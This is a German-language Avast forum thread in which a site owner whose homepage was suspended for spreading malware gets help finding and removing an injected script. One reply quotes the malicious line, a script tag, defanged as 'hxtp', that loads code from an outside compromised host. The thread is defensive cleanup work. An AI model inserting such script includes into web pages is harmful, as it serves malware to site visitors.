« previous next »
Pages: [1]   Go Down

Author Topic: JS:Includer-BBV  (Read 2774 times)

0 Members and 1 Guest are viewing this topic.

REDACTED

  • Guest
JS:Includer-BBV
« on: December 28, 2015, 01:21:49 PM »

Beiträge: 1
Profil anzeigen
 E-Mail
 Private Mitteilung (Online)
 







JS:Includer-BBV auf der Homepage

« am: Heute um 12:37:24 Nachmittag »


Zitat

 
Ändern

 

Hallo Profis,

bei mir ist das Problem, ich hab den JS:Includer-BBV nicht auf dem Rechner sondern online auf der Homepage :-(

Ich habe von meinem Provider eine Email erhalten dass er meine Homepage vorübergehend gesperrt hat weil über die Domain ein Virus verteilt wird.

Nun habe ich mir die .html Dateien mal runtergezogen und mit AVAST geprüft Ergebnis "Bedrohung: JS:Includer-BBV"

Ich kann aber in der html Datei nichts finden was "komisch" aussieht.. Weiß jemand einen Rat wie ich die Linie mit dem script finden kann?

URL: www.arga-tec.de

Grüße Jochen
Logged

Offline Asyn

  • Avast Überevangelist
  • Certainly Bot
  • *****
  • Posts: 76035
    • >>> Avast Forum - Deutschsprachiger Bereich <<<
Re: JS:Includer-BBV
« Reply #1 on: December 28, 2015, 01:26:01 PM »
Hallo Jochen, siehe: https://sitecheck.sucuri.net/results/www.arga-tec.de/

Willkommen im Forum,
Asyn
Logged
W8.1 [x64] - Avast Free AV 23.3.8047.BC [UI.757] - Firefox ESR 102.9 [NS/uBO/PB] - Thunderbird 102.9.1
Avast-Tools: Secure Browser 109.0 - Cleanup 23.1 - SecureLine 5.18 - DriverUpdater 23.1 - CCleaner 6.01
Avast Wissenswertes (Downloads, Anleitungen & Infos): https://forum.avast.com/index.php?topic=60523.0

Offline Pondus

  • Probably Bot
  • ****
  • Posts: 37554
  • Not a avast user
Re: JS:Includer-BBV
« Reply #2 on: December 28, 2015, 01:29:04 PM »
Logged

Offline polonus

  • Avast Überevangelist
  • Probably Bot
  • *****
  • Posts: 33925
  • malware fighter
Re: JS:Includer-BBV
« Reply #3 on: December 28, 2015, 01:36:24 PM »
Sucuri meint dies auf zu finden: Bekanntes javascript malware. Details: http://labs.sucuri.net/db/malware/mwjs-include-suspicious?v14
      </div><!--a98c77--><script type="text/javascript" src="hxtp://lovelylittle.com.au/dmw6cjrz.php?id=1543174"></script><!--/a98c77-->
Nichts hier: https://urlquery.net/report.php?id=1451305076135
Blockiert fuer mich von Scriptblocker: GET -/cgi-bin/counter/stats.cgi?id=argatec&gid=&loc=-http%3A//www.arga-tec.de/&ref=&res=1600x900&browser=Microsoft%20Internet%20Explorer%208&offset=1%E2%84%91=kkk_weiss.png&display=standard HTTP/1.1
Host: wXw.multicounter.de
Hier nichts Ominöses vorhanden oder auf zu finden:  http://fetch.scritch.org/%2Bfetch/?url=www.arga-tec.de&useragent=Fetch+useragent&accept_encoding=
Aber Google Safebrowsing warnt: http://killmalware.com/www.arga-tec.de/
weil Drohung nicht mehr vorhanden scheint: -http://lovelylittle.com.au/dmw6cjrz.php?id=1543175 (leer)
aber Hauptseite von Avast noch als infekziert angegeben sei, wie mit JS-Includer-BVV[Trj] verzeugt.

polonus
« Last Edit: December 28, 2015, 01:42:49 PM by polonus »
Logged
Cybersecurity is more of an attitude than anything else. Avast Evangelists.

Use NoScript, a limited user account and a virtual machine and be safe(r)!

REDACTED

  • Guest
Re: JS:Includer-BBV
« Reply #4 on: December 28, 2015, 02:58:38 PM »
vielen lieben Dank an euch.

Ich habe jetzt alle htm Dateien auf dem Server gelöscht, aus den betroffenen Dateien  Linie rausgelöscht, und die bearbeiteten Dateien neu auf den Server geladen.

Wenn ich jetzt die Seiten meiner Homepage aufrufe, kommt keine Warnmeldung mehr aber wenn ich die URL mit http://killmalware.com/www.arga-tec.de/ scanne, findet er anscheinend trotzdem noch die betroffenen htm Dateien.. kann es sein das ich einfach noch warten muss für einen neuen scan?

 
Logged

Offline polonus

  • Avast Überevangelist
  • Probably Bot
  • *****
  • Posts: 33925
  • malware fighter
Re: JS:Includer-BBV
« Reply #5 on: December 28, 2015, 04:24:03 PM »
Gerne gemacht,
Killmalware ist noch nicht aktualisiert, dass wird ja auch weiter behoben sein.
Ein Gutes Jahresende fuer Ihre Webseite...  ;)

Damian aka polonus

Logged
Cybersecurity is more of an attitude than anything else. Avast Evangelists.

Use NoScript, a limited user account and a virtual machine and be safe(r)!

Offline polonus

  • Avast Überevangelist
  • Probably Bot
  • *****
  • Posts: 33925
  • malware fighter
Re: JS:Includer-BBV
« Reply #6 on: December 28, 2015, 05:46:22 PM »
Alles OK hier: http://killmalware.com/www.arga-tec.de/#
Google Safebrowsing muss noch die Meldung aendern!

polonus
Logged
Cybersecurity is more of an attitude than anything else. Avast Evangelists.

Use NoScript, a limited user account and a virtual machine and be safe(r)!

Offline Asyn

  • Avast Überevangelist
  • Certainly Bot
  • *****
  • Posts: 76035
    • >>> Avast Forum - Deutschsprachiger Bereich <<<
Re: JS:Includer-BBV
« Reply #7 on: December 29, 2015, 05:14:40 AM »
Quote from: Joe721 on December 28, 2015, 02:58:38 PM
vielen lieben Dank an euch.
Bitteschön. :)
Logged
W8.1 [x64] - Avast Free AV 23.3.8047.BC [UI.757] - Firefox ESR 102.9 [NS/uBO/PB] - Thunderbird 102.9.1
Avast-Tools: Secure Browser 109.0 - Cleanup 23.1 - SecureLine 5.18 - DriverUpdater 23.1 - CCleaner 6.01
Avast Wissenswertes (Downloads, Anleitungen & Infos): https://forum.avast.com/index.php?topic=60523.0
Pages: [1]   Go Up
« previous next »